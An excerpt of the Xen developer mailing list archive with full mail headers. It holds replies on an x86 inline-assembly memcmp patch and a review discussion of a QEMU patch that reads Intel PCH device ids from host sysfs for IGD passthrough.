Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnPmX-0008F4-6z; Fri, 24 Jul 2026 23:58:21 +0000
Received: by outflank-mailman (input) for mailman id 1370342;
 Fri, 24 Jul 2026 23:58:19 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <hpa@zytor.com>) id 1wnPmV-0008Ev-Cc
 for xen-devel@lists.xenproject.org; Fri, 24 Jul 2026 23:58:19 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wnPmT-00D7r7-QC
 for xen-devel@lists.xenproject.org; Sat, 25 Jul 2026 01:58:17 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <hpa@zytor.com>)
 id 6a63fb32-e002-0a2a0a5209dd-0a2a4502a74a-32
 for <xen-devel@lists.xenproject.org>; Sat, 25 Jul 2026 01:58:17 +0200
Received: from [198.137.202.136] (helo=mail.zytor.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <hpa@zytor.com>)
 id 6a63fc17-6ca4-0a2a45020019-c689ca88d0c8-3
 for <xen-devel@lists.xenproject.org>; Sat, 25 Jul 2026 01:58:16 +0200
Received: from [172.27.2.41] (c-76-133-66-138.hsd1.ca.comcast.net
 [76.133.66.138]) (authenticated bits=0)
 by mail.zytor.com (8.18.1/8.17.1) with ESMTPSA id 66ONvodj2120226
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NO);
 Fri, 24 Jul 2026 16:57:51 -0700
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=2026062701 header.d=zytor.com header.i="@zytor.com" header.h="Date:Subject:From:To:Cc:References:In-Reply-To"
DKIM-Filter: OpenDKIM Filter v2.11.0 mail.zytor.com 66ONvodj2120226
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=zytor.com;
	s=2026062701; t=1784937472;
	bh=W1+RFu9YGD1n2obMJ7+LCs5yJk3LovJgDqEgPVEr4is=;
	h=Date:Subject:From:To:Cc:References:In-Reply-To:From;
	b=c0Q5iqr9Ip5NuYLC4z2dvmAcThmWm+yxSrbnM+TxbD3nYxbZ+2f5g9YlNJ4TPCBnF
	 0Kk1Y7FhOnYG9UClrN0c/WH5lKuX7QQXx7c6nWlUtf1db1xMfXG95qeBPqei09Xra8
	 f6wqqxwTk1NAhO740TleI0VWFLT8PtiA4FrkRyKUo8Yja1mVTr7yA8Xz7QMnCRh3cr
	 WEisX+fhru3qwUwV+TklGDSEc2RUdlhclFwCw3c5gL3cDh7QBC3hBmsEECL/3abThc
	 Ft1kLzX9GZJPu8LeRTQvIo+IPaDey9WFyqo/HlsIFXP9A/IPTIwjbXRn68lt8op1Ph
	 ZPfbHGdVqxzdQ==
Message-ID: <e52ff0fa-ee19-45e3-9b45-573ec3c5da24@zytor.com>
Date: Fri, 24 Jul 2026 16:57:45 -0700
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v7 2/5] x86/asm: add volatile, clobbers and zero-length
 check in inline memcmp
From: "H. Peter Anvin" <hpa@zytor.com>
To: Mauricio Faria de Oliveira <mfo@igalia.com>,
        Borislav Petkov <bp@alien8.de>
Cc: Jan Beulich <jbeulich@suse.com>, Thomas Gleixner <tglx@kernel.org>,
        Ingo Molnar <mingo@redhat.com>,
        Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org,
        Juergen Gross <jgross@suse.com>, Alexey Dobriyan <adobriyan@gmail.com>,
        Boris Ostrovsky <boris.ostrovsky@oracle.com>, kernel-dev@igalia.com,
        linux-kernel@vger.kernel.org, xen-devel@lists.xenproject.org
References: <20260721-pvh-kasan-inline-v7-0-38979a50cef0@igalia.com>
 <20260721-pvh-kasan-inline-v7-2-38979a50cef0@igalia.com>
 <20260722170334.GCamD35gwrCng30WH1@fat_crate.local>
 <0F3A1121-208F-4F71-8C88-BEAE7CB50E75@zytor.com>
 <4daed8ac-b533-436f-9f86-6d297b87abbb@suse.com>
 <5e19b195-0ca2-4510-81cb-497b40e4aaf5@zytor.com>
 <8df0340f0dc7f6c303c6a7da78fad7b8@igalia.com>
 <7148BD5B-2E06-4137-B361-18AAF329DDC5@zytor.com>
 <348133f5-8a78-4805-bf0a-b1b08cdc65f2@zytor.com>
Content-Language: en-US, sv-SE
In-Reply-To: <348133f5-8a78-4805-bf0a-b1b08cdc65f2@zytor.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-720697/1784937497-311CF2AC-24FC711A/0/0
X-purgate-type: clean
X-purgate-size: 1953

On 2026-07-24 16:35, H. Peter Anvin wrote:
> On 2026-07-24 14:53, H. Peter Anvin wrote:
>>
>> It's pretty bloaty; I don't know exactly how much the rest of the code bloats.
>>
>> I would be fine with having mem[n]eq() though as an explicit API. For the out-of-line version used for compiler-generated memcmp() calls it doesn't matter. 
>>
>> Here is a very compact way the out-of-line version can be written (showing the 64-bit version; formatting apologies, on a phone):
>>
>> xor %eax,%eax    /* Sets ZF */
>> repe cmpsb
>> jr z,1f
>> movzbl -1(%rdi),%edi
>> mov -1(%rsi),%al
>> sub %edi,%eax
>> 1: ret
>>
> With a C wrapper to work in any mode:
> 
> int memcmp(const void *a, const void *b, size_t size)
> {
>         int diff;
> 
>         asm volatile("xor %0,%0 ;"      /* Sets ZF for the size = 0 case */
>                      "repe cmpsb ;"
>                      "jz 1f ;"          /* When size = 0 loading is unsafe */
>                      "movb -1(%2),%b0 ;"
>                      "movzbl -1(%1),%k1 ;"
>                      "sub %k1,%0 ;"
>                      "1:"
>                      : "=&q" (diff), "+D" (a), "+S" (b), "+c" (size)
>                      : : "memory");
>         return diff;
> }
> 

And of course I got the comparison backwards (negative means a < b, thus we
want a - b not b - a). Here is a fixed version.

int memcmp(const void *a, const void *b, size_t size)
{
        int diff;

        asm volatile("xor %0,%0 ;"      /* Sets ZF for the size = 0 case */
                     "repe cmpsb ;"
                     "jz 1f ;"          /* When size = 0 loading is unsafe */
                     "movb -1(%1),%b0 ;"
                     "movzbl -1(%2),%k2 ;"
                     "sub %k2,%0 ;"
                     "1:"
                     : "=&q" (diff), "+D" (a), "+S" (b), "+c" (size)
                     : : "memory");
        return diff;
}

	-hpa



From xen-devel-bounces@lists.xenproject.org Sat Jul 25 00:26:42 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sat, 25 Jul 2026 00:26:42 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1370353.1618549 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnQDr-0004UO-FP; Sat, 25 Jul 2026 00:26:35 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1370353.1618549; Sat, 25 Jul 2026 00:26:35 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnQDr-0004UG-Cc; Sat, 25 Jul 2026 00:26:35 +0000
Received: by outflank-mailman (input) for mailman id 1370353;
 Sat, 25 Jul 2026 00:26:33 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <hpa@zytor.com>) id 1wnQDp-0004UA-Me
 for xen-devel@lists.xenproject.org; Sat, 25 Jul 2026 00:26:33 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wnQDo-00DA3Q-RJ
 for xen-devel@lists.xenproject.org; Sat, 25 Jul 2026 02:26:32 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <hpa@zytor.com>)
 id 6a640291-5cb7-0a2a0a5109dd-0a2a4501b046-14
 for <xen-devel@lists.xenproject.org>; Sat, 25 Jul 2026 02:26:32 +0200
Received: from [198.137.202.136] (helo=mail.zytor.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <hpa@zytor.com>)
 id 6a6402b7-5984-0a2a45010019-c689ca88b67e-3
 for <xen-devel@lists.xenproject.org>; Sat, 25 Jul 2026 02:26:32 +0200
Received: from [172.27.2.41] (c-76-133-66-138.hsd1.ca.comcast.net
 [76.133.66.138]) (authenticated bits=0)
 by mail.zytor.com (8.18.1/8.17.1) with ESMTPSA id 66P0Q0Qj2166700
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NO);
 Fri, 24 Jul 2026 17:26:01 -0700
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=2026062701 header.d=zytor.com header.i="@zytor.com" header.h="Date:Subject:From:To:Cc:References:In-Reply-To"
DKIM-Filter: OpenDKIM Filter v2.11.0 mail.zytor.com 66P0Q0Qj2166700
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=zytor.com;
	s=2026062701; t=1784939162;
	bh=P2raLxbCtVSSJuZJ+YGPnRwRiSskOiNWBRTYxU2bOuY=;
	h=Date:Subject:From:To:Cc:References:In-Reply-To:From;
	b=oina3z+nAJtWiwAMLXkXL1AGiUWLOBhK1SbkRn6F8w/BALe1IE7tJwX2F4PYTjUCj
	 EiCnAt1G/URk4Pl2VOD0pUjaFxI5Sep43Y5I4D2f9XVUBta8iD8Mldj8jWH0MkerNz
	 9LguvSlYzTt2Cm1u8af2PujU/RDJ+KmTN1rTPObCSRayGp4vqL9ZSC6GeZlRoqmVkg
	 4x9Qqx6sZpBGWLwlWzUCPRNEQn7K5bphASDfCtqgsVbl3K8wUjQN2obbpcCYyGG0bP
	 NGuoJRgXqBJD5CAS3cKFcOoQRHsV5uZAmHKqKC7eqAoi/xGN4iQi7Dv0wFhrJqcrgZ
	 T1dir1l2qcLug==
Message-ID: <f616c114-2727-435a-97f7-57ee6b0b60e4@zytor.com>
Date: Fri, 24 Jul 2026 17:25:21 -0700
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v7 2/5] x86/asm: add volatile, clobbers and zero-length
 check in inline memcmp
From: "H. Peter Anvin" <hpa@zytor.com>
To: Mauricio Faria de Oliveira <mfo@igalia.com>,
        Borislav Petkov <bp@alien8.de>
Cc: Jan Beulich <jbeulich@suse.com>, Thomas Gleixner <tglx@kernel.org>,
        Ingo Molnar <mingo@redhat.com>,
        Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org,
        Juergen Gross <jgross@suse.com>, Alexey Dobriyan <adobriyan@gmail.com>,
        Boris Ostrovsky <boris.ostrovsky@oracle.com>, kernel-dev@igalia.com,
        linux-kernel@vger.kernel.org, xen-devel@lists.xenproject.org
References: <20260721-pvh-kasan-inline-v7-0-38979a50cef0@igalia.com>
 <20260721-pvh-kasan-inline-v7-2-38979a50cef0@igalia.com>
 <20260722170334.GCamD35gwrCng30WH1@fat_crate.local>
 <0F3A1121-208F-4F71-8C88-BEAE7CB50E75@zytor.com>
 <4daed8ac-b533-436f-9f86-6d297b87abbb@suse.com>
 <5e19b195-0ca2-4510-81cb-497b40e4aaf5@zytor.com>
 <8df0340f0dc7f6c303c6a7da78fad7b8@igalia.com>
 <7148BD5B-2E06-4137-B361-18AAF329DDC5@zytor.com>
 <348133f5-8a78-4805-bf0a-b1b08cdc65f2@zytor.com>
 <e52ff0fa-ee19-45e3-9b45-573ec3c5da24@zytor.com>
Content-Language: en-US, sv-SE
In-Reply-To: <e52ff0fa-ee19-45e3-9b45-573ec3c5da24@zytor.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-d62444/1784939192-BE867757-6097A72F/0/0
X-purgate-type: clean
X-purgate-size: 1542

On 2026-07-24 16:57, H. Peter Anvin wrote:
> 
> And of course I got the comparison backwards (negative means a < b, thus we
> want a - b not b - a). Here is a fixed version.
> 
> int memcmp(const void *a, const void *b, size_t size)
> {
>         int diff;
> 
>         asm volatile("xor %0,%0 ;"      /* Sets ZF for the size = 0 case */
>                      "repe cmpsb ;"
>                      "jz 1f ;"          /* When size = 0 loading is unsafe */
>                      "movb -1(%1),%b0 ;"
>                      "movzbl -1(%2),%k2 ;"
>                      "sub %k2,%0 ;"
>                      "1:"
>                      : "=&q" (diff), "+D" (a), "+S" (b), "+c" (size)
>                      : : "memory");
>         return diff;
> }
> 
For extra credit, this version is even smaller in 16- and 32-bit mode, but
larger in 64-bit mode (because it depends on the order of the CMPSB operands,
which is the inverse of what the x86-64 ABI expects; swapping the order of "a"
and "b" and adding a cmc instruction improves the x86-64 size, but 64 bits is
not where the really tight code is...)

int memcmp(const void *a, const void *b, size_t size)
{
        int diff;

        asm volatile("xor %0,%0 ;"
                     "repe cmpsb ;"
                     "jz 1f ;"
                     "sbb %0,%0 ;"
                     "or $1,%0 ;"
                     "1:"
                     : "=&r" (diff), "+S" (a), "+D" (b), "+c" (size)
                     : : "memory");
        return diff;
}



From xen-devel-bounces@lists.xenproject.org Sat Jul 25 03:03:39 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sat, 25 Jul 2026 03:03:39 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1370398.1618558 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnSfc-0006eY-7P; Sat, 25 Jul 2026 03:03:24 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1370398.1618558; Sat, 25 Jul 2026 03:03:24 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnSfc-0006eQ-2d; Sat, 25 Jul 2026 03:03:24 +0000
Received: by outflank-mailman (input) for mailman id 1370398;
 Sat, 25 Jul 2026 03:03:23 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <brchuckz@netscape.net>) id 1wnSfa-0006eK-QS
 for xen-devel@lists.xenproject.org; Sat, 25 Jul 2026 03:03:22 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wnSfZ-006G09-NS
 for xen-devel@lists.xenproject.org; Sat, 25 Jul 2026 05:03:21 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <brchuckz@netscape.net>)
 id 6a64273f-e002-0a2a0a5209dd-0a2a450c928e-28
 for <xen-devel@lists.xenproject.org>; Sat, 25 Jul 2026 05:03:20 +0200
Received: from [66.163.187.33] (helo=sonic308-10.consmr.mail.ne1.yahoo.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <brchuckz@netscape.net>)
 id 6a642777-f479-0a2a450c0019-42a3bb21a7a4-3
 for <xen-devel@lists.xenproject.org>; Sat, 25 Jul 2026 05:03:20 +0200
Received: from sonic.gate.mail.ne1.yahoo.com by
 sonic308.consmr.mail.ne1.yahoo.com with HTTP; Sat, 25 Jul 2026 03:03:18 +0000
Received: by hermes--production-bf1-5f4bf6454b-wcw6j (Yahoo Inc. Hermes SMTP
 Server) with ESMTPA ID 4e5e4e0dcc38a11ff96bce412d6dab85; 
 Sat, 25 Jul 2026 03:03:16 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=a2048 header.d=netscape.net header.i="@netscape.net" header.h="Date:Subject:To:Cc:References:From:In-Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=netscape.net; s=a2048; t=1784948598; bh=Ouw76QmjyPBJFd+iVa9RbaQYPERVtquxiR67WHZRkeo=; h=Date:Subject:To:Cc:References:From:In-Reply-To:From:Subject:Reply-To; b=VLcq/PMWOq4ELyN6imjvEyPZmsAfEFgWkbbOcdlgiNJMNggdJKE5GHCpfwny5Uvx6ElmPSWNHP03a+IpjOnJ1XvdMqQ5uEJkcDT334Osbv2b6Ya33ECvJo5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Date: Fri, 24 Jul 2026 23:03:16 -0400
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v3 1/3] xen/igd: get PCH info from host sysfs
To: Tomita Moeko <tomitamoeko@gmail.com>, Chuck Zmudzinski
 <brchuckz@aol.com>, qemu-devel@nongnu.org
Cc: qemu-stable@nongnu.org, xen-devel@lists.xenproject.org,
 Stefano Stabellini <sstabellini@kernel.org>,
 Anthony PERARD <anthony@xenproject.org>,
 "Edgar E . Iglesias" <edgar.iglesias@gmail.com>
References: <20260709183517.25866-1-brchuckz@aol.com>
 <20260709183517.25866-2-brchuckz@aol.com>
 <5cb8d286-f013-4400-aef4-baddaa775995@gmail.com>
Content-Language: en-US
From: Chuck Zmudzinski <brchuckz@netscape.net>
In-Reply-To: <5cb8d286-f013-4400-aef4-baddaa775995@gmail.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Mailer: WebService/1.1.26215 mail.backend.jedi.jws.acl:role.jedi.acl.token.atz.jws.hermes.aol
Content-Length: 7052
X-purgate-ID: tlsNG-d25034/1784948600-77ED2A5B-7DFCAFAB/0/0
X-purgate-type: clean
X-purgate-size: 7243

On 7/23/2026 9:09 AM, Tomita Moeko wrote:
> Sorry I am not the maintainer/reviewer of Xen IGD passthrough, just out
> of my personal interest

I appreciate your review. Thanks!

> 
> On 2026-07-10 02:35, Chuck Zmudzinski wrote:
>> The igd_combo_id_infos[] data is more than 10 years
>> out of date with many Intel IGD devices missing from
>> igd_combo_id_infos[]. This means that many devices
>> that could be supported will not work with the
>> current implementation.
>> 
>> For newer devices not listed in igd_combo_id_infos[],
>> get infos from the host sysfs to enable support for the
>> newer devices not listed in igd_combo_id_infos[].
>> 
>> Introduce the helper function xen_pt_get_host_pch_info
>> to facilitate getting the necessary information from
>> sysfs.
>> 
>> Also, use errp in xen_igd_passthrough_isa_bridge_create
>> to set errors from xen_pt_get_host_pch_info.
>> 
>> Signed-off-by: Chuck Zmudzinski <brchuckz@aol.com>
>> ---
>> Changes in v2:
>>   - call error_setg* after closing files instead of before closing
>>     files
>>   - in last line of commit message change "to propagate errors" to
>>     "to set errors"
>>   - add stable to Cc list
>> 
>> Changes in v3:
>>   - whitespace fix at line 380 of xen_pt_graphics.c
>>   - fix Cc address for qemu-stable
>> 
>>  hw/xen/xen_pt.c          |  2 +-
>>  hw/xen/xen_pt_graphics.c | 82 ++++++++++++++++++++++++++++++++++++++--
>>  include/hw/xen/xen_igd.h |  3 +-
>>  3 files changed, 82 insertions(+), 5 deletions(-)
>> 
>> diff --git a/hw/xen/xen_pt.c b/hw/xen/xen_pt.c
>> index 0fe9c0a..474606e 100644
>> --- a/hw/xen/xen_pt.c
>> +++ b/hw/xen/xen_pt.c
>> @@ -867,7 +867,7 @@ static void xen_pt_realize(PCIDevice *d, Error **errp)
>>          }
>>  
>>          /* Register ISA bridge for passthrough GFX. */
>> -        xen_igd_passthrough_isa_bridge_create(s, &s->real_device);
>> +        xen_igd_passthrough_isa_bridge_create(s, &s->real_device, errp);
> 
> The `errp` need to be handled here if any error occurs.
> 
>>      }
>>  
>>      /* Handle real device's MMIO/PIO BARs */
>> diff --git a/hw/xen/xen_pt_graphics.c b/hw/xen/xen_pt_graphics.c
>> index 7df9344..2ef941e 100644
>> --- a/hw/xen/xen_pt_graphics.c
>> +++ b/hw/xen/xen_pt_graphics.c
>> @@ -376,8 +376,75 @@ static void pt_graphics_register_types(void)
>>  }
>>  type_init(pt_graphics_register_types)
>>  
>> +static void xen_pt_get_host_pch_info(PCIDevice *dev, uint16_t *pch_dev_id,
>> +                                     uint8_t *pch_rev_id, Error **errp)
>> +{
>> +    FILE *fp1, *fp2;
>> +    char *endptr;
>> +    char device_id[7], rev[5];
>> +    size_t len;
>> +    const char *device = "/sys/bus/pci/devices/0000:00:1f.0/device";
>> +    const char *revision = "/sys/bus/pci/devices/0000:00:1f.0/revision";
>> +    unsigned long val;
>> +
>> +    fp1 = fopen(device, "r");
>> +    if (fp1 == NULL) {
>> +        error_setg_errno(errp, errno, "Cannot open %s", device);
>> +        return;
>> +    }
>> +    fp2 = fopen(revision, "r");
>> +    if (fp2 == NULL) {
>> +        fclose(fp1);
>> +        error_setg_errno(errp, errno, "Cannot open %s", revision);
>> +        return;
>> +    }
>> +
>> +    len = fread(device_id, 1, 7, fp1);
>> +    if (!len) {
>> +        fclose(fp1);
>> +        fclose(fp2);
>> +        error_setg(errp, "Cannot read %s", device);
>> +        return;
>> +    }
>> +    len = fread(rev, 1, 5, fp2);
>> +    if (!len) {
>> +        fclose(fp1);
>> +        fclose(fp2);
>> +        error_setg(errp, "Cannot read %s", revision);
>> +        return;
>> +    }
>> +    fclose(fp1);
>> +    fclose(fp2);
>> +
>> +    val = strtoul(device_id, &endptr, 16);
>> +    if (val > 0xffff) {
>> +        error_setg(errp, "PCH device id is out of range: 0x%lx", val);
>> +        return;
>> +    }
>> +    if ((endptr > device_id) && (errno != ERANGE) &&
>> +        (errno != EINVAL)) {
>> +        *pch_dev_id = (uint16_t)val;
>> +    } else {
>> +        error_setg_errno(errp, errno, "device id strtoul "
>> +                                      "conversion failed");
>> +        return;
>> +    }
>> +    val = strtoul(rev, &endptr, 16);
>> +    if (val > 0xff) {
>> +        error_setg(errp, "PCH revision is out of range: 0x%lx", val);
>> +        return;
>> +    }
>> +    if ((endptr > rev) && (errno != ERANGE) && (errno != EINVAL)) {
>> +        *pch_rev_id = (uint8_t)val;
>> +    } else {
>> +        error_setg_errno(errp, errno, "revision strtoul "
>> +                                      "conversion failed");
>> +    }
>> +}
>> +
> 
> It would be better to reuse existing xen_host_pci_device_get() to read host
> LPC bridge ids instead of parsing it on our own here.

Ah yes, I see how that can be done and I agree that would be better. I will
re-write xen_pt_get_host_pch_info() using the functions declared in
xen-host-pci-device.h for the next version of this patch.

> 
>>  void xen_igd_passthrough_isa_bridge_create(XenPCIPassthroughState *s,
>> -                                           XenHostPCIDevice *dev)
>> +                                           XenHostPCIDevice *dev,
>> +                                           Error **errp)
>>  {
>>      PCIBus *bus = pci_get_bus(&s->dev);
>>      struct PCIDevice *bridge_dev;
>> @@ -394,7 +461,16 @@ void xen_igd_passthrough_isa_bridge_create(XenPCIPassthroughState *s,
>>          }
>>      }
>>  
>> -    if (pch_dev_id == 0xffff) {
>> +    /* Newer devices get PCH infos from host sysfs */
>> +    if ((pch_dev_id == 0xffff) || !pch_rev_id) {
>> +        xen_pt_get_host_pch_info(&s->dev, &pch_dev_id, &pch_rev_id, errp);
>> +    }
>> +
>> +    XEN_PT_LOG(&s->dev, "PCH device id: 0x%x\n", pch_dev_id);
>> +    XEN_PT_LOG(&s->dev, "PCH revision: 0x%x\n", pch_rev_id);
>> +
>> +    if ((pch_dev_id == 0xffff) || !pch_rev_id) {
>> +        error_setg(errp, "failed to get PCH device id or revision");
>>          return;
>>      }
>>  
>> @@ -406,7 +482,7 @@ void xen_igd_passthrough_isa_bridge_create(XenPCIPassthroughState *s,
>>       * Note that vendor id is always PCI_VENDOR_ID_INTEL.
>>       */
>>      if (!bridge_dev) {
>> -        fprintf(stderr, "set igd-passthrough-isa-bridge failed!\n");
>> +        error_setg(errp, "set igd-passthrough-isa-bridge failed!");
>>          return;
>>      }
>>      pci_config_set_device_id(bridge_dev->config, pch_dev_id);
>> diff --git a/include/hw/xen/xen_igd.h b/include/hw/xen/xen_igd.h
>> index 7ffca06..da51f09 100644
>> --- a/include/hw/xen/xen_igd.h
>> +++ b/include/hw/xen/xen_igd.h
>> @@ -22,7 +22,8 @@ uint32_t igd_read_opregion(XenPCIPassthroughState *s);
>>  void xen_igd_reserve_slot(PCIBus *pci_bus);
>>  void igd_write_opregion(XenPCIPassthroughState *s, uint32_t val);
>>  void xen_igd_passthrough_isa_bridge_create(XenPCIPassthroughState *s,
>> -                                           XenHostPCIDevice *dev);
>> +                                           XenHostPCIDevice *dev,
>> +                                           Error **errp);
>>  
>>  static inline bool is_igd_vga_passthrough(XenHostPCIDevice *dev)
>>  {
> 



From xen-devel-bounces@lists.xenproject.org Sat Jul 25 04:20:04 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sat, 25 Jul 2026 04:20:04 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1370430.1618567 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnTrZ-00081X-HT; Sat, 25 Jul 2026 04:19:49 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1370430.1618567; Sat, 25 Jul 2026 04:19:49 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnTrZ-00081Q-Ec; Sat, 25 Jul 2026 04:19:49 +0000
Received: by outflank-mailman (input) for mailman id 1370430;
 Sat, 25 Jul 2026 04:19:47 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <brchuckz@netscape.net>) id 1wnTrX-00081K-9N
 for xen-devel@lists.xenproject.org; Sat, 25 Jul 2026 04:19:47 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wnTrV-0030ru-Iw
 for xen-devel@lists.xenproject.org; Sat, 25 Jul 2026 06:19:45 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <brchuckz@netscape.net>)
 id 6a64395c-bab6-0a2a0a5309dd-0a2a4506a32c-14
 for <xen-devel@lists.xenproject.org>; Sat, 25 Jul 2026 06:19:44 +0200
Received: from [98.137.68.204] (helo=sonic304-23.consmr.mail.gq1.yahoo.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <brchuckz@netscape.net>)
 id 6a64395f-195a-0a2a45060019-628944cc88d1-3
 for <xen-devel@lists.xenproject.org>; Sat, 25 Jul 2026 06:19:44 +0200
Received: from sonic.gate.mail.ne1.yahoo.com by
 sonic304.consmr.mail.gq1.yahoo.com with HTTP; Sat, 25 Jul 2026 04:19:42 +0000
Received: by hermes--production-bf1-5f4bf6454b-bxwbj (Yahoo Inc. Hermes SMTP
 Server) with ESMTPA ID b62fd084875c6d5e774985d82c647b03; 
 Sat, 25 Jul 2026 04:19:41 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
